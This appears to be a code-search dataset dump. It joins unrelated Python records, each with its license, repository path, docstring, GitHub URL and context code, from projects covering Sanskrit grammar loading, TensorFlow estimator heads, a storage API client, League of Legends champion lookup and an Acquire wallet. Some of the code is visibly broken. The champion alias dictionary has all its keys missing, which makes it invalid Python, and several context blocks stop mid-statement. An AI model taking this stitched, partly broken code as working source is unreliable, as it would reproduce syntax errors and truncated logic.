from __future__ import print_function import sys from sanskrit import util from sanskrit.schema import * import sqlalchemy.schema ENUM = {} def add_tags(ctx): session = ctx.session for key in dir(Tag): if key.isupper(): id = getattr(Tag, key) session.add(Tag(id=id, name=key.lower())) session.commit() session.close() def add_enums(ctx): session = ctx.session type_to_class = { 'case': Case, 'class': VClass, 'gender': Gender, 'gender_group': GenderGroup, 'modification': Modification, 'mode': Mode, 'number': Number, 'person': Person, 'sandhi_rule_type': SandhiType, 'voice': Voice, } for row in util.read_csv(ctx.config['ENUMS']): if row['enum_type'] == 'gender_group': continue cls = type_to_class.get(row['enum_type'], None) if cls is None: continue enum_abbr = cls.__tablename__ if enum_abbr not in ENUM: util.tick(cls.__name__) ENUM.setdefault(enum_abbr, {}) abbreviation = row['abbreviation'] e = cls(name=row['human_readable_value'], abbr=abbreviation) session.add(e) session.flush() ENUM[enum_abbr][abbreviation] = e.id session.commit() for row in util.read_csv(ctx.config['ENUMS']): if row['enum_type'] != 'gender_group': continue cls = type_to_class.get(row['enum_type'], None) enum_abbr = cls.__tablename__ if enum_abbr not in ENUM: util.tick(cls.__name__) ENUM.setdefault(enum_abbr, {}) abbreviation = row['abbreviation'] e = cls(name=row['human_readable_value'], abbr=abbreviation) session.add(e) session.flush() if set(abbreviation).issubset('mfn'): e.members = [ENUM['gender'][x] for x in abbreviation] ENUM[enum_abbr][abbreviation] = e.id session.commit() session.close() def add_sandhi_rules(ctx): session = ctx.session stype = ENUM['sandhi_type'] for row in util.read_csv(ctx.config['SANDHI_RULES']): session.add(SandhiRule(first=row['first'], second=row['second'], result=row['result'], rule_type=stype[row['type']])) session.commit() session.close() def add_indeclinables(ctx): session = ctx.session tick = util.tick_every(300) for row in util.read_csv(ctx.config['INDECLINABLES']): session.add(Indeclinable(name=row['name'])) tick(row['name']) session.commit() session.close() def add_verb_prefixes(ctx): session = ctx.session prefix_map = {} for row in util.read_csv(ctx.config['VERB_PREFIXES']): prefix = VerbPrefix(name=row['name']) session.add(prefix) session.flush() prefix_map[row['name']] = prefix.id session.commit() session.close() return prefix_map def add_verb_endings(ctx): session = ctx.session person = ENUM['person'] number = ENUM['number'] mode = ENUM['mode'] voice = ENUM['voice'] for row in util.read_csv(ctx.config['VERB_ENDINGS']): session.add(VerbEnding(name=row['ending'], category=row['category'], person_id=person[row['person']], number_id=number[row['number']], mode_id=mode[row['mode']], voice_id=voice[row['voice']])) session.commit() session.close() def add_roots(ctx, prefix_map): session = ctx.session e_vclass = ENUM['vclass'] e_voice = ENUM['voice'] root_map = {} tick = util.tick_every(100) for row in util.read_csv(ctx.config['UNPREFIXED_ROOTS']): name, hom = row['root'], row['hom'] if (name, hom) in root_map: continue root = Root(name=name) session.add(root) session.flush() root_map[(name, hom)] = root.id tick(name) for row in util.read_csv(ctx.config['UNPREFIXED_ROOTS']): name, hom = row['root'], row['hom'] vclass, voice = row['class'], row['voice'] assert (name, hom) in root_map root_id = root_map[(name, hom)] paradigm = Paradigm(root_id=root_id, vclass_id=e_vclass[vclass], voice_id=e_voice[voice]) session.add(paradigm) session.commit() for i, row in enumerate(util.read_csv(ctx.config['PREFIXED_ROOTS'])): name = row['prefixed_root'] basis = row['unprefixed_root'] hom = row['hom'] prefixes = row['prefixes'].split('-') assert (basis, hom) in root_map basis_id = root_map[(basis, hom)] for prefix in prefixes: pass prefixed_root = PrefixedRoot(name=name, basis_id=basis_id) session.add(prefixed_root) session.flush() root_map[(name, hom)] = prefixed_root.id tick(name) session.commit() session.close() return root_map def add_verbs(ctx, root_map): session = ctx.session vclass = ENUM['vclass'] person = ENUM['person'] number = ENUM['number'] mode = ENUM['mode'] voice = ENUM['voice'] skipped = set() i = 0 for row in util.read_csv(ctx.config['VERBS']): root = row['root'] hom = row['hom'] try: root_id = root_map[(root, hom)] except KeyError: skipped.add((root, hom)) continue data = { 'name': row['form'], 'root_id': root_id, 'vclass_id': vclass[row['class']] if row['class'] else None, 'person_id': person[row['person']], 'number_id': number[row['number']], 'mode_id': mode[row['mode']], 'voice_id': voice[row['voice']] } session.add(Verb(**data)) i += 1 if i % 1000 == 0: util.tick(row['form']) session.commit() session.commit() session.close() print('Skipped', len(skipped), 'roots.') def add_verbal_indeclinables(ctx, root_map): session = ctx.session root_map = root_map or {} skipped = set() for row in util.read_csv(ctx.config['VERBAL_INDECLINABLES']): root, hom, pos = row['root'], row['hom'], row['pos'] try: root_id = root_map[(root, hom)] except KeyError: skipped.add((root, hom)) continue datum = { 'name': row['form'], 'root_id': root_id } if pos == 'gerund': session.add(Gerund(**datum)) elif pos == 'infinitive': session.add(Infinitive(**datum)) else: assert False session.commit() def add_participle_stems(ctx, root_map): session = ctx.session root_map = root_map or {} mode = ENUM['mode'] voice = ENUM['voice'] skipped = set() i = 0 for row in util.read_csv(ctx.config['PARTICIPLE_STEMS']): root = row['root'] hom = row['hom'] try: root_id = root_map[(root, hom)] except KeyError: skipped.add((root, hom)) continue data = { 'name': row['stem'], 'root_id': root_id, 'mode_id': mode[row['mode']], 'voice_id': voice[row['voice']] } session.add(ParticipleStem(**data)) i += 1 if i % 100 == 0: util.tick(row['stem']) session.commit() session.commit() session.close() print('Skipped', len(skipped), 'roots.') def add_nominal_endings(ctx): session = ctx.session gender = ENUM['gender'] case = ENUM['case'] number = ENUM['number'] for row in util.read_csv(ctx.config['COMPOUNDED_NOMINAL_ENDINGS']): ending = NominalEnding(name=row['ending'], stem_type=row['stem_type'], gender_id=gender[row['form_gender']], case_id=None, number_id=None, compounded=True) session.add(ending) seen = set() for row in util.read_csv(ctx.config['INFLECTED_NOMINAL_ENDINGS']): ending = NominalEnding(name=row['ending'], stem_type=row['stem_type'], gender_id=gender[row['form_gender']], case_id=case[row['case']], number_id=number[row['number']], compounded=False) session.add(ending) if row['stem_type'] not in seen: util.tick(row['stem_type']) seen.add(row['stem_type']) session.commit() session.close()
MIT License
datastore/datastore
datastore/core/key.py
Key.path
python
def path(self): return Key(str(self.parent) + '/' + self.type)
Returns the path of this Key, the parent and the type.
https://github.com/datastore/datastore/blob/7ccf0cd4748001d3dbf5e6dda369b0f63e0269d3/datastore/core/key.py#L121-L123
import uuid from .util import fasthash class Namespace(str): namespace_delimiter = ':' def __repr__(self): return "Namespace('%s')" % self @property def field(self): if ':' in self: return self.split(self.namespace_delimiter)[0] return '' @property def value(self): return self.split(self.namespace_delimiter)[-1] class Key(object): __slots__ = ('_string', '_list') def __init__(self, key): if isinstance(key, list): key = '/'.join(key) self._string = self.removeDuplicateSlashes(str(key)) self._list = None def __str__(self): return self._string def __repr__(self): return "Key('%s')" % self._string @property def list(self): if not self._list: self._list = map(Namespace, self._string.split('/')) return self._list @property def reverse(self): return Key(self.list[::-1]) @property def namespaces(self): return self.list @property def name(self): return Namespace(self.list[-1]).value @property def type(self): return Namespace(self.list[-1]).field def instance(self, other): assert '/' not in str(other) return Key(str(self) + ':' + str(other)) @property
MIT License
tensorflow/estimator
tensorflow_estimator/python/estimator/head/base_head.py
create_estimator_spec_summary
python
def create_estimator_spec_summary(regularized_training_loss, regularization_losses=None, summary_key_fn=None): with ops.name_scope(''): keys = metric_keys.MetricKeys loss_key = summary_key_fn(keys.LOSS) if summary_key_fn else keys.LOSS tf.compat.v1.summary.scalar(loss_key, regularized_training_loss) if regularization_losses is not None: regularization_loss = tf.math.add_n(regularization_losses) regularization_loss_key = ( summary_key_fn(keys.LOSS_REGULARIZATION) if summary_key_fn else keys.LOSS_REGULARIZATION) tf.compat.v1.summary.scalar(regularization_loss_key, regularization_loss)
Create summary for estimator_spec.
https://github.com/tensorflow/estimator/blob/fe1b51e15bade17d8b5085780c9ab78a6a961963/tensorflow_estimator/python/estimator/head/base_head.py#L916-L929
from __future__ import absolute_import from __future__ import division from __future__ import print_function import abc import six import tensorflow as tf from tensorflow.python.feature_column import feature_column_lib from tensorflow.python.feature_column.feature_column import _LazyBuilder from tensorflow.python.feature_column.feature_column import _NumericColumn from tensorflow.python.framework import ops from tensorflow.python.util import function_utils from tensorflow.python.util.tf_export import estimator_export from tensorflow_estimator.python.estimator.canned import metric_keys from tensorflow_estimator.python.estimator.export import export_output DEFAULT_SERVING_KEY = tf.saved_model.DEFAULT_SERVING_SIGNATURE_DEF_KEY CLASSIFY_SERVING_KEY = 'classification' REGRESS_SERVING_KEY = 'regression' PREDICT_SERVING_KEY = 'predict' @estimator_export('estimator.Head') @six.add_metaclass(abc.ABCMeta) class Head(object): @abc.abstractproperty def name(self): raise NotImplementedError('Calling an abstract method.') @abc.abstractproperty def logits_dimension(self): raise NotImplementedError('Calling an abstract method.') @abc.abstractproperty def loss_reduction(self): raise NotImplementedError('Calling an abstract method.') @abc.abstractmethod def loss(self, labels, logits, features=None, mode=None, regularization_losses=None): raise NotImplementedError('Calling an abstract method.') @abc.abstractmethod def predictions(self, logits, keys=None): raise NotImplementedError('Calling an abstract method.') @abc.abstractmethod def metrics(self, regularization_losses=None): raise NotImplementedError('Calling an abstract method.') @abc.abstractmethod def update_metrics(self, eval_metrics, features, logits, labels, mode=None, regularization_losses=None): raise NotImplementedError('Calling an abstract method.') def _summary_key(self, key): return '{}/{}'.format(key, self.name) if self.name else key def create_estimator_spec(self, features, mode, logits, labels=None, optimizer=None, trainable_variables=None, train_op_fn=None, update_ops=None, regularization_losses=None): try: tpu_estimator_spec = ( self._create_tpu_estimator_spec( features=features, mode=mode, logits=logits, labels=labels, optimizer=optimizer, trainable_variables=trainable_variables, train_op_fn=train_op_fn, update_ops=update_ops, regularization_losses=regularization_losses)) return tpu_estimator_spec.as_estimator_spec() except NotImplementedError: raise NotImplementedError( 'Subclasses of Head must implement `create_estimator_spec()` or ' '_create_tpu_estimator_spec().') def _create_tpu_estimator_spec( self, features, mode, logits, labels=None, optimizer=None, trainable_variables=None, train_op_fn=None, update_ops=None, regularization_losses=None, ): raise NotImplementedError( 'TPUEstimatorSpec not available for this model head.') _LABEL_NONE_ERR_MSG = ( 'You must provide a labels Tensor. Given: None. ' 'Suggested troubleshooting steps: Check that your data contains your label ' 'feature. Check that your input_fn properly parses and returns labels.') _SPARSE_LABEL_ERR_MSG = ( 'SparseTensor labels are not supported. Labels must be a Tensor of shape ' '[D0, D1, ..., DN, {}], e.g. [batch_size, {}].Suggested Fix (1): Check the' ' label feature in your data. Each example must contain {} value(s). If ' 'not, your choice of label was probably incorrect. Suggested Fix (2): In ' 'your input_fn, use tf.sparse_tensor_to_dense() to turn labels into a ' 'Tensor.') _MISMATCHED_LABEL_DIM_ERR_MSG = ( 'Mismatched label shape. Expected labels dimension={}. Received {}. ' 'Suggested Fix: If your classifier expects one-hot encoding label, check ' 'your n_classes argument to the estimator and/or the shape of your label. ' 'Otherwise, check the shape of your label.') _LABEL_SHAPE_ERR_MSG = ( 'labels shape must be [D0, D1, ... DN, {}]. Suggested Fix: check your ' 'n_classes argument to the head and/or the shape of your label.') _VALIDATION_ERROR_MSG = '{} should be a list or a tuple. Given type: {}.' def check_dense_labels_match_logits_and_reshape(labels, logits, expected_labels_dimension): if labels is None: raise ValueError(_LABEL_NONE_ERR_MSG) with ops.name_scope('labels', values=(labels, logits)) as scope: labels = tf.compat.v1.convert_to_tensor_or_sparse_tensor(labels) if isinstance(labels, tf.sparse.SparseTensor): raise ValueError( _SPARSE_LABEL_ERR_MSG.format(expected_labels_dimension, expected_labels_dimension, expected_labels_dimension)) if tf.executing_eagerly(): labels_rank = labels._rank() logits_rank = logits._rank() if (labels_rank is not None and logits_rank is not None and labels_rank == logits_rank - 1): labels = tf.compat.v1.expand_dims(labels, -1) labels_rank += 1 labels_shape = labels._shape_tuple() if labels_rank < 2: raise ValueError('labels must have rank at least 2. Received rank {}, ' 'shape {}'.format(labels_rank, labels_shape)) if labels_shape[-1] != expected_labels_dimension: raise ValueError( _MISMATCHED_LABEL_DIM_ERR_MSG.format(expected_labels_dimension, labels_shape[-1])) logits_shape = logits._shape_tuple() expected_labels_shape = logits_shape[:-1] + (expected_labels_dimension,) if expected_labels_shape != labels_shape: raise ValueError( '{}, expected_labels_shape: {}. labels_shape: {}.'.format( _LABEL_SHAPE_ERR_MSG.format(expected_labels_dimension), expected_labels_shape, labels_shape)) return labels if (labels.shape.ndims is not None and logits.shape.ndims is not None and labels.shape.ndims == logits.shape.ndims - 1): labels = tf.compat.v1.expand_dims(labels, -1) assert_rank = tf.compat.v1.debugging.assert_rank_at_least( labels, 2, message=_LABEL_SHAPE_ERR_MSG.format(expected_labels_dimension)) with tf.control_dependencies([assert_rank]): static_shape = labels.shape if static_shape.ndims is not None: final_dim = static_shape[-1] if (final_dim is not None) and (final_dim != expected_labels_dimension): raise ValueError( _MISMATCHED_LABEL_DIM_ERR_MSG.format(expected_labels_dimension, final_dim)) logits_shape = tf.compat.v1.shape(logits) expected_labels_shape = tf.concat( [logits_shape[:-1], [expected_labels_dimension]], axis=0) labels_shape = tf.compat.v1.shape(labels) assert_dimension = tf.compat.v1.debugging.assert_equal( expected_labels_shape, labels_shape, message=_LABEL_SHAPE_ERR_MSG.format(expected_labels_dimension), data=[ 'expected_labels_shape: ', expected_labels_shape, 'labels_shape: ', labels_shape ]) with tf.control_dependencies([assert_dimension]): return tf.identity(labels, name=scope) def get_weights_and_check_match_logits(features, weight_column, logits, allow_per_logit_weights=False): if allow_per_logit_weights: err_msg = ('weights shape must be [D0, D1, ... DN], [D0, D1, ... DN, 1] or ' '[D0, D1, ... DN, logits_dimension]') else: err_msg = ('weights shape must be [D0, D1, ... DN] or [D0, D1, ... DN, 1]') with ops.name_scope( 'weights', values=tuple(six.itervalues(features)) + (logits,)) as scope: if weight_column is None: return 1. if isinstance(weight_column, six.string_types): weight_column = tf.feature_column.numeric_column( key=weight_column, shape=(1,)) if not isinstance(weight_column, (feature_column_lib.NumericColumn, _NumericColumn)): raise TypeError('Weight column must be either a string or NumericColumn.' ' Given type: {}.'.format(type(weight_column))) weights = weight_column._get_dense_tensor( _LazyBuilder(features)) if not (weights.dtype.is_floating or weights.dtype.is_integer): raise ValueError('Weight column should be castable to float. ' 'Given dtype: {}'.format(weights.dtype)) weights = tf.cast(weights, name='weights', dtype=tf.dtypes.float32) if tf.executing_eagerly(): weights_shape = weights._shape_tuple() logits_shape = logits._shape_tuple() weights_rank = weights._rank() logits_rank = logits._rank() if (weights_rank is not None and logits_rank is not None and weights_rank == logits_rank - 1): if logits_shape[:-1] != weights_shape: raise ValueError('{}, logits_shape: {}. weights_shape: {}.'.format( err_msg, logits_shape, weights_shape)) return tf.compat.v1.expand_dims(weights, -1, name=scope) supported_weights_shape = logits_shape[:-1] + (1,) if allow_per_logit_weights: if (logits_shape != weights_shape and supported_weights_shape != weights_shape): raise ValueError('{}, logits_shape: {}. weights_shape: {}.'.format( err_msg, logits_shape, weights_shape)) else: if supported_weights_shape != weights_shape: raise ValueError('{}, logits_shape: {}. weights_shape: {}.'.format( err_msg, logits_shape, weights_shape)) return weights weights_shape = tf.compat.v1.shape(weights, name='weights_shape') logits_shape = tf.compat.v1.shape(logits, name='logits_shape') if (weights.shape.ndims is not None and logits.shape.ndims is not None and weights.shape.ndims == logits.shape.ndims - 1): assert_dimension = tf.compat.v1.debugging.assert_equal( logits_shape[:-1], weights_shape, message=err_msg, data=[ 'logits_shape: ', logits_shape, 'weights_shape: ', weights_shape ]) with tf.control_dependencies([assert_dimension]): return tf.compat.v1.expand_dims(weights, -1, name=scope) supported_weights_shape = tf.concat([logits_shape[:-1], [1]], axis=0) if allow_per_logit_weights: condition = tf.math.reduce_any([ tf.reduce_all(tf.math.equal(logits_shape, weights_shape)), tf.reduce_all(tf.math.equal(supported_weights_shape, weights_shape)) ]) assert_dimension = tf.debugging.Assert( condition=condition, data=[ err_msg, 'logits_shape: ', logits_shape, 'weights_shape: ', weights_shape ]) else: assert_dimension = tf.compat.v1.debugging.assert_equal( supported_weights_shape, weights_shape, message=err_msg, data=[ 'logits_shape: ', logits_shape, 'weights_shape: ', weights_shape ]) with tf.control_dependencies([assert_dimension]): return tf.identity(weights, name=scope) def check_logits_final_dim(logits, expected_logits_dimension): with ops.name_scope('logits', values=(logits,)) as scope: logits = tf.cast(logits, tf.dtypes.float32) if tf.executing_eagerly(): logits_shape = logits._shape_tuple() logits_rank = logits._rank() if logits_rank < 2: raise ValueError('logits must have rank at least 2. Received rank {}, ' 'shape {}'.format(logits_rank, logits_shape)) if (isinstance(expected_logits_dimension, int) and logits_shape[-1] != expected_logits_dimension): raise ValueError( 'logits shape must be [D0, D1, ... DN, logits_dimension], ' 'got {}.'.format(logits_shape)) return logits logits_shape = tf.compat.v1.shape(logits) assert_rank = tf.compat.v1.debugging.assert_rank_at_least( logits, 2, data=[logits_shape], message='logits shape must be [D0, D1, ... DN, logits_dimension]') with tf.control_dependencies([assert_rank]): static_shape = logits.shape if static_shape.ndims is not None and static_shape[-1] is not None: if (isinstance(expected_logits_dimension, int) and static_shape[-1] != expected_logits_dimension): raise ValueError( 'logits shape must be [D0, D1, ... DN, logits_dimension], ' 'got {}.'.format(static_shape)) return logits assert_dimension = tf.compat.v1.debugging.assert_equal( expected_logits_dimension, logits_shape[-1], data=[logits_shape], message='logits shape must be [D0, D1, ... DN, logits_dimension]') with tf.control_dependencies([assert_dimension]): return tf.identity(logits, name=scope) def validate_loss_fn_args(loss_fn): loss_fn_args = function_utils.fn_args(loss_fn) for required_arg in ['labels', 'logits']: if required_arg not in loss_fn_args: raise ValueError('loss_fn must contain argument: {}. ' 'Given arguments: {}'.format(required_arg, loss_fn_args)) invalid_args = list( set(loss_fn_args) - set(['labels', 'logits', 'features', 'loss_reduction'])) if invalid_args: raise ValueError('loss_fn has unexpected args: {}'.format(invalid_args)) def validate_loss_reduction(loss_reduction): if (loss_reduction not in tf.losses.Reduction.all() or loss_reduction == tf.losses.Reduction.NONE): raise ValueError( 'Invalid loss_reduction: {}. See `tf.losses.Reduction` for valid ' 'options.'.format(loss_reduction)) def validate_update_ops(update_ops=None): if update_ops is not None and not isinstance(update_ops, (list, tuple)): raise ValueError( _VALIDATION_ERROR_MSG.format('update_ops', type(update_ops))) def validate_v2_optimizer(optimzier): if not isinstance(optimzier, tf.keras.optimizers.Optimizer): raise ValueError( 'The given optimizer is not a tf.keras.optimizers.Optimizer instance. ' 'Given: {}'.format(optimzier)) def validate_trainable_variables(trainable_variables=None): if trainable_variables is None: raise ValueError('trainable_variables cannot be None. Given {}'.format( trainable_variables)) if not isinstance(trainable_variables, (list, tuple)): raise ValueError( _VALIDATION_ERROR_MSG.format('trainable_variables', type(trainable_variables))) def validate_n_classes(n_classes): if isinstance(n_classes, int) and (n_classes <= 2): raise ValueError('n_classes must be > 2: %s.' % n_classes) n_classes_as_tensor = ops.convert_to_tensor(n_classes) assert_n_classes = tf.compat.v1.debugging.assert_greater( n_classes_as_tensor, 2, message='n_classes must be greater than 2') with tf.control_dependencies([assert_n_classes]): tf.no_op() return n_classes def call_loss_fn(loss_fn, labels, logits, features, expected_loss_dim=1): loss_fn_args = function_utils.fn_args(loss_fn) kwargs = {} if 'features' in loss_fn_args: kwargs['features'] = features with ops.name_scope( 'call_loss_fn', values=[labels, logits] + list(six.itervalues(features))): unweighted_loss = loss_fn(labels=labels, logits=logits, **kwargs) if tf.executing_eagerly(): loss_shape = unweighted_loss._shape_tuple() logits_shape = logits._shape_tuple() expected_loss_shape = logits_shape[:-1] + (expected_loss_dim,) if loss_shape != expected_loss_shape: raise ValueError( 'loss_fn must return Tensor of shape ' '[D0, D1, ... DN, {}]. '.format(expected_loss_dim), 'logits_shape: ', logits_shape, 'loss_shape: ', loss_shape) return unweighted_loss logits_shape = tf.compat.v1.shape(logits, name='logits_shape') expected_loss_shape = tf.concat([logits_shape[:-1], [expected_loss_dim]], axis=0, name='expected_loss_shape') loss_shape = tf.compat.v1.shape(unweighted_loss, name='loss_shape') check_loss_shape_op = tf.debugging.Assert( tf.reduce_all(tf.math.equal(loss_shape, expected_loss_shape)), data=[ 'loss_fn must return Tensor of shape ' '[D0, D1, ... DN, {}]. '.format(expected_loss_dim), 'logits_shape: ', logits_shape, 'loss_shape: ', loss_shape ], name='check_loss_shape') with tf.control_dependencies([check_loss_shape_op]): return tf.identity(unweighted_loss) def check_prediction_keys(pred_keys, valid_keys): for key in pred_keys: if key not in valid_keys: raise ValueError('Prediction key must be in PredictionKeys, given: {}.' 'Valid prediction keys include {}.'.format( key, valid_keys)) def all_class_ids(logits, n_classes): batch_size = tf.compat.v1.shape(logits)[0] class_id_list = tf.range(n_classes) return tf.tile( input=tf.compat.v1.expand_dims(input=class_id_list, axis=0), multiples=[batch_size, 1]) def all_classes(logits, n_classes, label_vocabulary=None): batch_size = tf.compat.v1.shape(logits)[0] if label_vocabulary: classes_list = tf.convert_to_tensor([label_vocabulary]) else: classes_list = tf.expand_dims(tf.range(n_classes), axis=0) classes_list = tf.strings.as_string(classes_list) return tf.tile(input=classes_list, multiples=[batch_size, 1]) def classification_output(scores, n_classes, label_vocabulary=None): return export_output.ClassificationOutput( scores=scores, classes=all_classes(scores, n_classes, label_vocabulary)) def check_label_range(labels, n_classes, message=None): with ops.name_scope('check_label_range', values=(labels,)): if tf.executing_eagerly(): assert_less = tf.reduce_all(tf.math.less_equal(labels, n_classes - 1)) if not assert_less: raise ValueError(message or 'Labels must be <= {} - 1'.format(n_classes)) assert_greater = tf.reduce_all(tf.math.greater_equal(labels, 0)) if not assert_greater: raise ValueError(message or 'Labels must be >= 0') return labels assert_less = tf.compat.v1.debugging.assert_less_equal( labels, ops.convert_to_tensor(n_classes - 1, dtype=labels.dtype), message=message or 'Labels must be <= n_classes - 1') assert_greater = tf.compat.v1.debugging.assert_non_negative( labels, message=message or 'Labels must be >= 0') with tf.control_dependencies((assert_less, assert_greater)): return tf.identity(labels) def update_metric_with_broadcast_weights(eval_metric, values, weights): values = tf.cast(values, dtype=tf.dtypes.float32) if weights is not None: weights = tf.compat.v2.__internal__.ops.broadcast_weights(weights, values) eval_metric.update_state(values=values, sample_weight=weights) def create_eval_metrics_tuple(fn, kwargs): tensor_kwargs = {} nontensor_kwargs = {} for k, v in six.iteritems(kwargs): if tf.is_tensor(v): tensor_kwargs[k] = v else: nontensor_kwargs[k] = v def _fn(**tensors): return fn(**dict(nontensor_kwargs, **tensors)) return (_fn, tensor_kwargs) def create_estimator_spec_train_op( head_name, optimizer=None, trainable_variables=None, train_op_fn=None, update_ops=None, regularized_training_loss=None, loss_reduction=tf.losses.Reduction.SUM_OVER_BATCH_SIZE): del head_name validate_update_ops(update_ops) with ops.name_scope(''): with ops.name_scope('training'): if optimizer is not None: if train_op_fn is not None: raise ValueError('train_op_fn and optimizer cannot both be set.') validate_v2_optimizer(optimizer) validate_trainable_variables(trainable_variables) if loss_reduction == tf.losses.Reduction.SUM_OVER_BATCH_SIZE: num_replicas = tf.distribute.get_strategy().num_replicas_in_sync if num_replicas > 1: regularized_training_loss *= (1. / num_replicas) train_op = optimizer.get_updates(regularized_training_loss, trainable_variables)[0] elif train_op_fn is not None: train_op = train_op_fn(regularized_training_loss) else: raise ValueError('train_op_fn and optimizer cannot both be None.') if update_ops is not None: train_op = tf.group(train_op, *update_ops) return train_op
Apache License 2.0
purestorage-openconnect/py-pure-client
pypureclient/pure1/Pure1_1_0/models/target.py
Target.to_dict
python
def to_dict(self): result = {} for attr, _ in six.iteritems(self.swagger_types): if hasattr(self, attr): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(Target, dict): for key, value in self.items(): result[key] = value return result
Returns the model properties as a dict
https://github.com/purestorage-openconnect/py-pure-client/blob/2d9fdef0b73321cea9613e7d1eb881b42845099b/pypureclient/pure1/Pure1_1_0/models/target.py#L102-L128
import pprint import re import six import typing from ....properties import Property if typing.TYPE_CHECKING: from pypureclient.pure1.Pure1_1_0 import models class Target(object): swagger_types = { 'as_of': 'int', 'id': 'str', 'name': 'str', 'arrays': 'list[FixedReference]', 'address': 'str', 'status': 'str', 'status_details': 'str' } attribute_map = { 'as_of': '_as_of', 'id': 'id', 'name': 'name', 'arrays': 'arrays', 'address': 'address', 'status': 'status', 'status_details': 'status_details' } required_args = { } def __init__( self, as_of=None, id=None, name=None, arrays=None, address=None, status=None, status_details=None, ): if as_of is not None: self.as_of = as_of if id is not None: self.id = id if name is not None: self.name = name if arrays is not None: self.arrays = arrays if address is not None: self.address = address if status is not None: self.status = status if status_details is not None: self.status_details = status_details def __setattr__(self, key, value): if key not in self.attribute_map: raise KeyError("Invalid key `{}` for `Target`".format(key)) self.__dict__[key] = value def __getattribute__(self, item): value = object.__getattribute__(self, item) if isinstance(value, Property): raise AttributeError else: return value
BSD 2-Clause Simplified License
lightd22/swainbot
src/data/champion_info.py
populate_champion_dictionary
python
def populate_champion_dictionary(): DISABLED_CHAMPIONS = [] if(look_local): with open(LOCAL_CHAMPION_PATH, 'r') as local_data: response = json.load(local_data) else: request = "{static}/{version}/champions".format(static="static-data",version=api_versions["staticdata"]) params = {"locale":"en_US", "dataById":"true", "api_key":myRiotApiKey.api_key } response = make_request(request,"GET",params) data = response["data"] champions = [] for value in data.values(): if(value["name"] in DISABLED_CHAMPIONS): continue champion = Champion(value) champions.append(champion) __m.champion_name_from_id = {champion.id: champion.name for champion in champions} __m.champion_id_from_name = {re.sub("[^A-Za-z0-9]+", "", champion.name.lower()): champion.id for champion in champions} __m.valid_champion_ids = sorted(__m.champion_name_from_id.keys()) if not __m.champion_name_from_id: return False return True
Args: None Returns: True if succesful, False otherwise Populates the module dictionary whose keys are champion Ids and values are strings of the corresponding champion's name.
https://github.com/lightd22/swainbot/blob/7d4dad3ea57d3c2f3beda0e7b3278e25d1f17e55/src/data/champion_info.py#L171-L203
import numpy as np from .riotapi import make_request, api_versions import requests import re import json from . import myRiotApiKey class Box: pass __m = Box() __m.champion_name_from_id = None __m.champion_id_from_name = None __m.valid_champion_ids = None __m.championAliases = { : "blitzcrank", : "gangplank", : "jarvaniv", : "caitlyn", : "leblanc", : "cassiopeia", : "cassiopeia", : "orianna", : "leesin", : "vladimir", : "jarvaniv", : "aurelionsol", : "kassadin", : "tahmkench", : "malzahar", : "sejuani", : "nidalee", : "aurelionsol", : "drmundo", : "tahmkench", : "kayn", : "zilean", : "nautilus", : "morgana", : "ezreal", : "nunuwillump", : "masteryi", :"chogath", :"maokai", :"mordekaiser", :"xinzhao", :"evelynn", :"aurelionsol", :"fiddlesticks", :"fiddlesticks", :"heimerdinger", :"nocturne", :"twistedfate", :"kogmaw" } look_local = True LOCAL_CHAMPION_PATH = "../data/champions.json" class Champion(): def __init__(self,dictionary): if(look_local): self.key = dictionary["id"] self.id = int(dictionary["key"]) else: self.key = dictionary["key"] self.id = int(dictionary["id"]) self.name = dictionary["name"] self.title = dictionary["title"] class AliasException(Exception): def __init__(self, message, errors): super().__init__(message) self.errors = errors self.message = message def convert_champion_alias(alias): null_champion = ["none","lossofban"] if (alias in null_champion): return "none" try: if (alias in __m.championAliases): return __m.championAliases[alias] else: raise AliasException("Champion alias not found!", alias) except AliasException as e: print("*****") print(e.message) print("Offending alias: {}".format(e.errors)) print("*****") raise def champion_name_from_id(champion_id): if __m.champion_name_from_id is None: populate_champion_dictionary() if (champion_id in __m.champion_name_from_id): return __m.champion_name_from_id[champion_id] return None def champion_id_from_name(champion_name): if __m.champion_id_from_name is None: populate_champion_dictionary() if (champion_name in __m.champion_id_from_name): return __m.champion_id_from_name[champion_name] return None def valid_champion_id(champion_id): if __m.champion_name_from_id is None: populate_champion_dictionary() return champion_id in __m.valid_champion_ids def get_champion_ids(): if __m.valid_champion_ids is None: populate_champion_dictionary() return __m.valid_champion_ids[:]
Apache License 2.0
chryswoods/acquire
Acquire/Client/_wallet.py
Wallet.remove_service
python
def remove_service(self, service): if isinstance(service, str): try: service = self.get_service(service) except: return service_url = service.canonical_url() from Acquire.ObjectStore import string_to_safestring as _string_to_safestring service_dir = Wallet._get_service_dir(service.uid()) service_file = "%s/service_%s.json" % ( service_dir, _string_to_safestring(service_url)) import os as _os if _os.path.exists(service_file): _os.unlink(service_file)
Remove the cached service info for the passed service
https://github.com/chryswoods/acquire/blob/bf8a0465a531f3b485cb2a14c69dc9aea79451fd/Acquire/Client/_wallet.py#L545-L565
_input = input __all__ = ["Wallet"] def _get_wallet_dir(): import os as _os home = _os.path.expanduser("~") return "%s/.acquire_wallet" % home def _get_wallet_password(confirm_password=False): import getpass as _getpass if confirm_password: password = _getpass.getpass( prompt="Please enter a password to encrypt your wallet: ") else: password = _getpass.getpass( prompt="Please enter the password to decrypt your wallet: " ) if not confirm_password: return password password2 = _getpass.getpass( prompt="Please confirm the password: ") if password != password2: _output("The passwords don't match. Please try again.") return _get_wallet_password(confirm_password=confirm_password) return password def _output(s, end=None): if end is None: print(s) else: print(s, end=end) def _flush_output(): try: import sys as _sys _sys.stdout.flush() except: pass def _read_json(filename): import json as _json with open(filename, "rb") as FILE: s = FILE.read().decode("utf-8") return _json.loads(s) def _write_json(data, filename): import json as _json s = _json.dumps(data) with open(filename, "wb") as FILE: FILE.write(s.encode("utf-8")) def _read_service(filename): from Acquire.Client import Service as _Service return _Service.from_data(_read_json(filename)) def _write_service(service, filename): _write_json(service.to_data(), filename) def _could_match(userinfo, username, password): if username is None: return True if "username" not in userinfo: return False if userinfo["username"] == username: if password is None: return True if "password" in userinfo: if userinfo["password"] == password: return True return False class Wallet: def __init__(self): from Acquire.Service import is_running_service as _is_running_service if _is_running_service(): from Acquire.Service import get_this_service as _get_this_service service = 